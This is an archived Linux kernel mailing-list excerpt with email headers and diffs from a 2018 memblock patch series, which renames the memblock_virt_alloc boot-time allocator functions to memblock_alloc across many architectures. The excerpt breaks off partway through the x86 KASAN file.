X-CRM114-CacheID: sfid-20180914_051158_646917_530DCF00 
X-CRM114-Status: GOOD (  20.70  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:782 gmane.linux.kernel.mm:203318 gmane.linux.ports.mips.general:66620 gmane.linux.ports.ia64:29215 gmane.linux.ports.sh.devel:57491 gmane.linux.ports.sparc:28403 gmane.linux.ports.hexagon:1832 gmane.linux.kernel.arc:4345 gmane.linux.ports.alpha:5221 gmane.linux.ports.arm.kernel:674190 gmane.linux.ports.parisc:28943 gmane.linux.kernel:2870761 gmane.linux.ports.ppc64.devel:162478
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/782>

The functions are equivalent, just the later does not require nobootmem
translation layer.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/x86/xen/p2m.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/xen/p2m.c b/arch/x86/xen/p2m.c
index d6d74ef..5de761b 100644
--- a/arch/x86/xen/p2m.c
+++ b/arch/x86/xen/p2m.c
@@ -182,7 +182,7 @@ static void p2m_init_identity(unsigned long *p2m, unsigned long pfn)
 static void * __ref alloc_p2m_page(void)
 {
 	if (unlikely(!slab_is_available()))
-		return alloc_bootmem_align(PAGE_SIZE, PAGE_SIZE);
+		return memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 
 	return (void *)__get_free_page(GFP_KERNEL);
 }
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 07/30] memblock: remove _virt from APIs returning virtual
 address
Date: Fri, 14 Sep 2018 15:10:22 +0300
Lines: 1007
Approved: news@gmane.org
Message-ID: <1536927045-23536-8-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927027 26294 195.159.176.226 (14 Sep 2018 12:10:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:10:27 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:10:19 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0mvS-0006f1-Ms
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:10:19 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=RFVjbRIkBv/ZDTNVxxbBiQ+FWPz1h626a6ivCF9H1ew=; b=pupl+Sauf6BomlGbRzB6RR3SLk
	h6/QOhH/qHQon+AZ9f5AnXJ/BrZ9i5NGKG2CcVakDjXvBPReThOINze5GWsEdPSYP8kaS79vsvQA4
	/2VsrsnuCtNdSJU8jmfD8scC6ZwO2Nz3Lpamg/HQ1g3vEvpSoWx7r6MG7UEtWCg1QA+qr5JJZ/JjM
	glPlHRjXpEYhNtP+Q3zJ3L+rizE50kRIXFi8fSnjj3GcGXsU2DEtQ49TtJV3sW4ra9nxW7BiCLJd0
	3h0Sl8kCZUgWh2xGxhtzM8K8AB1FtOe0CUsMyPx3NPrOnXYtAiWguSH+t/bUP0wSE7HjJrx3LyDg2
	/a0Vx0AA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mxY-00044q-9D; Fri, 14 Sep 2018 12:12:28 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mx2-0003tQ-Cs
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:12:25 +0000
Original-Received: from pps.filterd (m0098421.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC4ZPK096441
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:11:52 -0400
Original-Received: from e06smtp07.uk.ibm.com (e06smtp07.uk.ibm.com [195.75.94.103])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgay24vn0-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:11:51 -0400
Original-Received: from localhost
 by e06smtp07.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:48 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp07.uk.ibm.com (192.168.101.137) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:11:36 +0100
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com
 [9.149.105.60])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECBZhl59113666
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:35 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 86F8B4204B;
 Fri, 14 Sep 2018 15:11:25 +0100 (BST)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 417C14203F;
 Fri, 14 Sep 2018 15:11:20 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:11:20 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:29 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0028-0000-0000-000002F958A2
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0029-0000-0000-000023B30106
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051156_766893_A3DD21D0 
X-CRM114-Status: GOOD (  25.39  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4346 gmane.linux.kernel.mm:203319 gmane.linux.ports.mips.general:66621 gmane.linux.ports.ia64:29216 gmane.linux.ports.sh.devel:57492 gmane.linux.ports.sparc:28404 gmane.linux.ports.hexagon:1833 gmane.linux.ports.riscv:783 gmane.linux.ports.alpha:5222 gmane.linux.ports.arm.kernel:674191 gmane.linux.ports.parisc:28944 gmane.linux.kernel:2870762 gmane.linux.ports.ppc64.devel:162479
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4346>

The conversion is done using

sed -i 's@memblock_virt_alloc@memblock_alloc@g' \
	$(git grep -l memblock_virt_alloc)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 arch/arm/kernel/setup.c                   |  4 ++--
 arch/arm/mach-omap2/omap_hwmod.c          |  6 ++---
 arch/arm64/mm/kasan_init.c                |  2 +-
 arch/arm64/mm/numa.c                      |  2 +-
 arch/mips/kernel/setup.c                  |  2 +-
 arch/powerpc/kernel/pci_32.c              |  2 +-
 arch/powerpc/lib/alloc.c                  |  2 +-
 arch/powerpc/mm/mmu_context_nohash.c      |  6 ++---
 arch/powerpc/platforms/powermac/nvram.c   |  2 +-
 arch/powerpc/platforms/powernv/pci-ioda.c |  6 ++---
 arch/powerpc/platforms/ps3/setup.c        |  2 +-
 arch/powerpc/sysdev/msi_bitmap.c          |  2 +-
 arch/s390/kernel/setup.c                  | 12 +++++-----
 arch/s390/kernel/smp.c                    |  2 +-
 arch/s390/kernel/topology.c               |  4 ++--
 arch/s390/numa/mode_emu.c                 |  2 +-
 arch/s390/numa/toptree.c                  |  2 +-
 arch/x86/mm/kasan_init_64.c               |  4 ++--
 arch/xtensa/mm/kasan_init.c               |  2 +-
 drivers/clk/ti/clk.c                      |  2 +-
 drivers/firmware/memmap.c                 |  2 +-
 drivers/of/fdt.c                          |  2 +-
 drivers/of/unittest.c                     |  2 +-
 include/linux/bootmem.h                   | 38 +++++++++++++++----------------
 init/main.c                               |  6 ++---
 kernel/dma/swiotlb.c                      |  8 +++----
 kernel/power/snapshot.c                   |  2 +-
 kernel/printk/printk.c                    |  4 ++--
 lib/cpumask.c                             |  2 +-
 mm/hugetlb.c                              |  2 +-
 mm/kasan/kasan_init.c                     |  2 +-
 mm/memblock.c                             | 26 ++++++++++-----------
 mm/page_alloc.c                           |  8 +++----
 mm/page_ext.c                             |  2 +-
 mm/percpu.c                               | 28 +++++++++++------------
 mm/sparse-vmemmap.c                       |  2 +-
 mm/sparse.c                               | 12 +++++-----
 37 files changed, 108 insertions(+), 108 deletions(-)

diff --git a/arch/arm/kernel/setup.c b/arch/arm/kernel/setup.c
index 4c249cb..39e6090 100644
--- a/arch/arm/kernel/setup.c
+++ b/arch/arm/kernel/setup.c
@@ -857,7 +857,7 @@ static void __init request_standard_resources(const struct machine_desc *mdesc)
 		 */
 		boot_alias_start = phys_to_idmap(start);
 		if (arm_has_idmap_alias() && boot_alias_start != IDMAP_INVALID_ADDR) {
-			res = memblock_virt_alloc(sizeof(*res), 0);
+			res = memblock_alloc(sizeof(*res), 0);
 			res->name = "System RAM (boot alias)";
 			res->start = boot_alias_start;
 			res->end = phys_to_idmap(end);
@@ -865,7 +865,7 @@ static void __init request_standard_resources(const struct machine_desc *mdesc)
 			request_resource(&iomem_resource, res);
 		}
 
-		res = memblock_virt_alloc(sizeof(*res), 0);
+		res = memblock_alloc(sizeof(*res), 0);
 		res->name  = "System RAM";
 		res->start = start;
 		res->end = end;
diff --git a/arch/arm/mach-omap2/omap_hwmod.c b/arch/arm/mach-omap2/omap_hwmod.c
index 56a1fe9..1f9b34a 100644
--- a/arch/arm/mach-omap2/omap_hwmod.c
+++ b/arch/arm/mach-omap2/omap_hwmod.c
@@ -726,7 +726,7 @@ static int __init _setup_clkctrl_provider(struct device_node *np)
 	u64 size;
 	int i;
 
-	provider = memblock_virt_alloc(sizeof(*provider), 0);
+	provider = memblock_alloc(sizeof(*provider), 0);
 	if (!provider)
 		return -ENOMEM;
 
@@ -736,12 +736,12 @@ static int __init _setup_clkctrl_provider(struct device_node *np)
 		of_property_count_elems_of_size(np, "reg", sizeof(u32)) / 2;
 
 	provider->addr =
-		memblock_virt_alloc(sizeof(void *) * provider->num_addrs, 0);
+		memblock_alloc(sizeof(void *) * provider->num_addrs, 0);
 	if (!provider->addr)
 		return -ENOMEM;
 
 	provider->size =
-		memblock_virt_alloc(sizeof(u32) * provider->num_addrs, 0);
+		memblock_alloc(sizeof(u32) * provider->num_addrs, 0);
 	if (!provider->size)
 		return -ENOMEM;
 
diff --git a/arch/arm64/mm/kasan_init.c b/arch/arm64/mm/kasan_init.c
index 1214587..2391560 100644
--- a/arch/arm64/mm/kasan_init.c
+++ b/arch/arm64/mm/kasan_init.c
@@ -38,7 +38,7 @@ static pgd_t tmp_pg_dir[PTRS_PER_PGD] __initdata __aligned(PGD_SIZE);
 
 static phys_addr_t __init kasan_alloc_zeroed_page(int node)
 {
-	void *p = memblock_virt_alloc_try_nid(PAGE_SIZE, PAGE_SIZE,
+	void *p = memblock_alloc_try_nid(PAGE_SIZE, PAGE_SIZE,
 					      __pa(MAX_DMA_ADDRESS),
 					      MEMBLOCK_ALLOC_ACCESSIBLE, node);
 	return __pa(p);
diff --git a/arch/arm64/mm/numa.c b/arch/arm64/mm/numa.c
index e5aacd6..8f2e0e8 100644
--- a/arch/arm64/mm/numa.c
+++ b/arch/arm64/mm/numa.c
@@ -168,7 +168,7 @@ static void * __init pcpu_fc_alloc(unsigned int cpu, size_t size,
 {
 	int nid = early_cpu_to_node(cpu);
 
-	return  memblock_virt_alloc_try_nid(size, align,
+	return  memblock_alloc_try_nid(size, align,
 			__pa(MAX_DMA_ADDRESS), MEMBLOCK_ALLOC_ACCESSIBLE, nid);
 }
 
diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
index 2fde53e..a717c90 100644
--- a/arch/mips/kernel/setup.c
+++ b/arch/mips/kernel/setup.c
@@ -851,7 +851,7 @@ static void __init arch_mem_init(char **cmdline_p)
 	 * Prevent memblock from allocating high memory.
 	 * This cannot be done before max_low_pfn is detected, so up
 	 * to this point is possible to only reserve physical memory
-	 * with memblock_reserve; memblock_virt_alloc* can be used
+	 * with memblock_reserve; memblock_alloc* can be used
 	 * only after this point
 	 */
 	memblock_set_current_limit(PFN_PHYS(max_low_pfn));
diff --git a/arch/powerpc/kernel/pci_32.c b/arch/powerpc/kernel/pci_32.c
index d63b488..2fb4781 100644
--- a/arch/powerpc/kernel/pci_32.c
+++ b/arch/powerpc/kernel/pci_32.c
@@ -204,7 +204,7 @@ pci_create_OF_bus_map(void)
 	struct property* of_prop;
 	struct device_node *dn;
 
-	of_prop = memblock_virt_alloc(sizeof(struct property) + 256, 0);
+	of_prop = memblock_alloc(sizeof(struct property) + 256, 0);
 	dn = of_find_node_by_path("/");
 	if (dn) {
 		memset(of_prop, -1, sizeof(struct property) + 256);
diff --git a/arch/powerpc/lib/alloc.c b/arch/powerpc/lib/alloc.c
index 06796de..bf87d6e 100644
--- a/arch/powerpc/lib/alloc.c
+++ b/arch/powerpc/lib/alloc.c
@@ -14,7 +14,7 @@ void * __ref zalloc_maybe_bootmem(size_t size, gfp_t mask)
 	if (slab_is_available())
 		p = kzalloc(size, mask);
 	else {
-		p = memblock_virt_alloc(size, 0);
+		p = memblock_alloc(size, 0);
 	}
 	return p;
 }
diff --git a/arch/powerpc/mm/mmu_context_nohash.c b/arch/powerpc/mm/mmu_context_nohash.c
index 4d80239..954f198 100644
--- a/arch/powerpc/mm/mmu_context_nohash.c
+++ b/arch/powerpc/mm/mmu_context_nohash.c
@@ -461,10 +461,10 @@ void __init mmu_context_init(void)
 	/*
 	 * Allocate the maps used by context management
 	 */
-	context_map = memblock_virt_alloc(CTX_MAP_SIZE, 0);
-	context_mm = memblock_virt_alloc(sizeof(void *) * (LAST_CONTEXT + 1), 0);
+	context_map = memblock_alloc(CTX_MAP_SIZE, 0);
+	context_mm = memblock_alloc(sizeof(void *) * (LAST_CONTEXT + 1), 0);
 #ifdef CONFIG_SMP
-	stale_map[boot_cpuid] = memblock_virt_alloc(CTX_MAP_SIZE, 0);
+	stale_map[boot_cpuid] = memblock_alloc(CTX_MAP_SIZE, 0);
 
 	cpuhp_setup_state_nocalls(CPUHP_POWERPC_MMU_CTX_PREPARE,
 				  "powerpc/mmu/ctx:prepare",
diff --git a/arch/powerpc/platforms/powermac/nvram.c b/arch/powerpc/platforms/powermac/nvram.c
index 60b03a1..f45b369 100644
--- a/arch/powerpc/platforms/powermac/nvram.c
+++ b/arch/powerpc/platforms/powermac/nvram.c
@@ -513,7 +513,7 @@ static int __init core99_nvram_setup(struct device_node *dp, unsigned long addr)
 		printk(KERN_ERR "nvram: no address\n");
 		return -EINVAL;
 	}
-	nvram_image = memblock_virt_alloc(NVRAM_SIZE, 0);
+	nvram_image = memblock_alloc(NVRAM_SIZE, 0);
 	nvram_data = ioremap(addr, NVRAM_SIZE*2);
 	nvram_naddrs = 1; /* Make sure we get the correct case */
 
diff --git a/arch/powerpc/platforms/powernv/pci-ioda.c b/arch/powerpc/platforms/powernv/pci-ioda.c
index cde7102..23a67b5 100644
--- a/arch/powerpc/platforms/powernv/pci-ioda.c
+++ b/arch/powerpc/platforms/powernv/pci-ioda.c
@@ -3770,7 +3770,7 @@ static void __init pnv_pci_init_ioda_phb(struct device_node *np,
 	phb_id = be64_to_cpup(prop64);
 	pr_debug("  PHB-ID  : 0x%016llx\n", phb_id);
 
-	phb = memblock_virt_alloc(sizeof(*phb), 0);
+	phb = memblock_alloc(sizeof(*phb), 0);
 
 	/* Allocate PCI controller */
 	phb->hose = hose = pcibios_alloc_controller(np);
@@ -3816,7 +3816,7 @@ static void __init pnv_pci_init_ioda_phb(struct device_node *np,
 	else
 		phb->diag_data_size = PNV_PCI_DIAG_BUF_SIZE;
 
-	phb->diag_data = memblock_virt_alloc(phb->diag_data_size, 0);
+	phb->diag_data = memblock_alloc(phb->diag_data_size, 0);
 
 	/* Parse 32-bit and IO ranges (if any) */
 	pci_process_bridge_OF_ranges(hose, np, !hose->global_number);
@@ -3875,7 +3875,7 @@ static void __init pnv_pci_init_ioda_phb(struct device_node *np,
 	}
 	pemap_off = size;
 	size += phb->ioda.total_pe_num * sizeof(struct pnv_ioda_pe);
-	aux = memblock_virt_alloc(size, 0);
+	aux = memblock_alloc(size, 0);
 	phb->ioda.pe_alloc = aux;
 	phb->ioda.m64_segmap = aux + m64map_off;
 	phb->ioda.m32_segmap = aux + m32map_off;
diff --git a/arch/powerpc/platforms/ps3/setup.c b/arch/powerpc/platforms/ps3/setup.c
index 77a3752..1251985 100644
--- a/arch/powerpc/platforms/ps3/setup.c
+++ b/arch/powerpc/platforms/ps3/setup.c
@@ -126,7 +126,7 @@ static void __init prealloc(struct ps3_prealloc *p)
 	if (!p->size)
 		return;
 
-	p->address = memblock_virt_alloc(p->size, p->align);
+	p->address = memblock_alloc(p->size, p->align);
 
 	printk(KERN_INFO "%s: %lu bytes at %p\n", p->name, p->size,
 	       p->address);
diff --git a/arch/powerpc/sysdev/msi_bitmap.c b/arch/powerpc/sysdev/msi_bitmap.c
index e64a411..349a9ff 100644
--- a/arch/powerpc/sysdev/msi_bitmap.c
+++ b/arch/powerpc/sysdev/msi_bitmap.c
@@ -128,7 +128,7 @@ int __ref msi_bitmap_alloc(struct msi_bitmap *bmp, unsigned int irq_count,
 	if (bmp->bitmap_from_slab)
 		bmp->bitmap = kzalloc(size, GFP_KERNEL);
 	else {
-		bmp->bitmap = memblock_virt_alloc(size, 0);
+		bmp->bitmap = memblock_alloc(size, 0);
 		/* the bitmap won't be freed from memblock allocator */
 		kmemleak_not_leak(bmp->bitmap);
 	}
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index 2f2ee43..2e29456 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -311,7 +311,7 @@ static void __init setup_lowcore(void)
 	 * Setup lowcore for boot cpu
 	 */
 	BUILD_BUG_ON(sizeof(struct lowcore) != LC_PAGES * PAGE_SIZE);
-	lc = memblock_virt_alloc_low(sizeof(*lc), sizeof(*lc));
+	lc = memblock_alloc_low(sizeof(*lc), sizeof(*lc));
 	lc->restart_psw.mask = PSW_KERNEL_BITS;
 	lc->restart_psw.addr = (unsigned long) restart_int_handler;
 	lc->external_new_psw.mask = PSW_KERNEL_BITS |
@@ -332,10 +332,10 @@ static void __init setup_lowcore(void)
 	lc->kernel_stack = ((unsigned long) &init_thread_union)
 		+ THREAD_SIZE - STACK_FRAME_OVERHEAD - sizeof(struct pt_regs);
 	lc->async_stack = (unsigned long)
-		memblock_virt_alloc(ASYNC_SIZE, ASYNC_SIZE)
+		memblock_alloc(ASYNC_SIZE, ASYNC_SIZE)
 		+ ASYNC_SIZE - STACK_FRAME_OVERHEAD - sizeof(struct pt_regs);
 	lc->panic_stack = (unsigned long)
-		memblock_virt_alloc(PAGE_SIZE, PAGE_SIZE)
+		memblock_alloc(PAGE_SIZE, PAGE_SIZE)
 		+ PAGE_SIZE - STACK_FRAME_OVERHEAD - sizeof(struct pt_regs);
 	lc->current_task = (unsigned long)&init_task;
 	lc->lpp = LPP_MAGIC;
@@ -357,7 +357,7 @@ static void __init setup_lowcore(void)
 	lc->last_update_timer = S390_lowcore.last_update_timer;
 	lc->last_update_clock = S390_lowcore.last_update_clock;
 
-	restart_stack = memblock_virt_alloc(ASYNC_SIZE, ASYNC_SIZE);
+	restart_stack = memblock_alloc(ASYNC_SIZE, ASYNC_SIZE);
 	restart_stack += ASYNC_SIZE;
 
 	/*
@@ -423,7 +423,7 @@ static void __init setup_resources(void)
 	bss_resource.end = (unsigned long) __bss_stop - 1;
 
 	for_each_memblock(memory, reg) {
-		res = memblock_virt_alloc(sizeof(*res), 8);
+		res = memblock_alloc(sizeof(*res), 8);
 		res->flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM;
 
 		res->name = "System RAM";
@@ -437,7 +437,7 @@ static void __init setup_resources(void)
 			    std_res->start > res->end)
 				continue;
 			if (std_res->end > res->end) {
-				sub_res = memblock_virt_alloc(sizeof(*sub_res), 8);
+				sub_res = memblock_alloc(sizeof(*sub_res), 8);
 				*sub_res = *std_res;
 				sub_res->end = res->end;
 				std_res->start = res->end + 1;
diff --git a/arch/s390/kernel/smp.c b/arch/s390/kernel/smp.c
index 2f8f7d7..8f3aafc 100644
--- a/arch/s390/kernel/smp.c
+++ b/arch/s390/kernel/smp.c
@@ -751,7 +751,7 @@ void __init smp_detect_cpus(void)
 	u16 address;
 
 	/* Get CPU information */
-	info = memblock_virt_alloc(sizeof(*info), 8);
+	info = memblock_alloc(sizeof(*info), 8);
 	smp_get_core_info(info, 1);
 	/* Find boot CPU type */
 	if (sclp.has_core_type) {
diff --git a/arch/s390/kernel/topology.c b/arch/s390/kernel/topology.c
index e8184a1..799a918 100644
--- a/arch/s390/kernel/topology.c
+++ b/arch/s390/kernel/topology.c
@@ -519,7 +519,7 @@ static void __init alloc_masks(struct sysinfo_15_1_x *info,
 		nr_masks *= info->mag[TOPOLOGY_NR_MAG - offset - 1 - i];
 	nr_masks = max(nr_masks, 1);
 	for (i = 0; i < nr_masks; i++) {
-		mask->next = memblock_virt_alloc(sizeof(*mask->next), 8);
+		mask->next = memblock_alloc(sizeof(*mask->next), 8);
 		mask = mask->next;
 	}
 }
@@ -537,7 +537,7 @@ void __init topology_init_early(void)
 	}
 	if (!MACHINE_HAS_TOPOLOGY)
 		goto out;
-	tl_info = memblock_virt_alloc(PAGE_SIZE, PAGE_SIZE);
+	tl_info = memblock_alloc(PAGE_SIZE, PAGE_SIZE);
 	info = tl_info;
 	store_topology(info);
 	pr_info("The CPU configuration topology of the machine is: %d %d %d %d %d %d / %d\n",
diff --git a/arch/s390/numa/mode_emu.c b/arch/s390/numa/mode_emu.c
index 83b222c..5a381fc 100644
--- a/arch/s390/numa/mode_emu.c
+++ b/arch/s390/numa/mode_emu.c
@@ -313,7 +313,7 @@ static void __ref create_core_to_node_map(void)
 {
 	int i;
 
-	emu_cores = memblock_virt_alloc(sizeof(*emu_cores), 8);
+	emu_cores = memblock_alloc(sizeof(*emu_cores), 8);
 	for (i = 0; i < ARRAY_SIZE(emu_cores->to_node_id); i++)
 		emu_cores->to_node_id[i] = NODE_ID_FREE;
 }
diff --git a/arch/s390/numa/toptree.c b/arch/s390/numa/toptree.c
index 21d1e8a..7f61cc3 100644
--- a/arch/s390/numa/toptree.c
+++ b/arch/s390/numa/toptree.c
@@ -34,7 +34,7 @@ struct toptree __ref *toptree_alloc(int level, int id)
 	if (slab_is_available())
 		res = kzalloc(sizeof(*res), GFP_KERNEL);
 	else
-		res = memblock_virt_alloc(sizeof(*res), 8);
+		res = memblock_alloc(sizeof(*res), 8);
 	if (!res)
 		return res;
 
diff --git a/arch/x86/mm/kasan_init_64.c b/arch/x86/mm/kasan_init_64.c
index e3e7752..77b857c 100644
--- a/arch/x86/mm/kasan_init_64.c
+++ b/arch/x86/mm/kasan_init_64.c
@@ -28,10 +28,10 @@ static p4d_t tmp_p4d_table[MAX_PTRS_PER_P4D] __initdata __aligned(PAGE_SIZE);
 static __init void *early_alloc(size_t size, int nid, bool panic)
 {
 	if (panic)
-		return memblock_virt_alloc_try_nid(size, size,
+		return memblock_alloc_try_nid(size, size,
 			__pa(MAX_DMA_ADDRESS), BOOTMEM_ALLOC_ACCESSIBLE, nid);
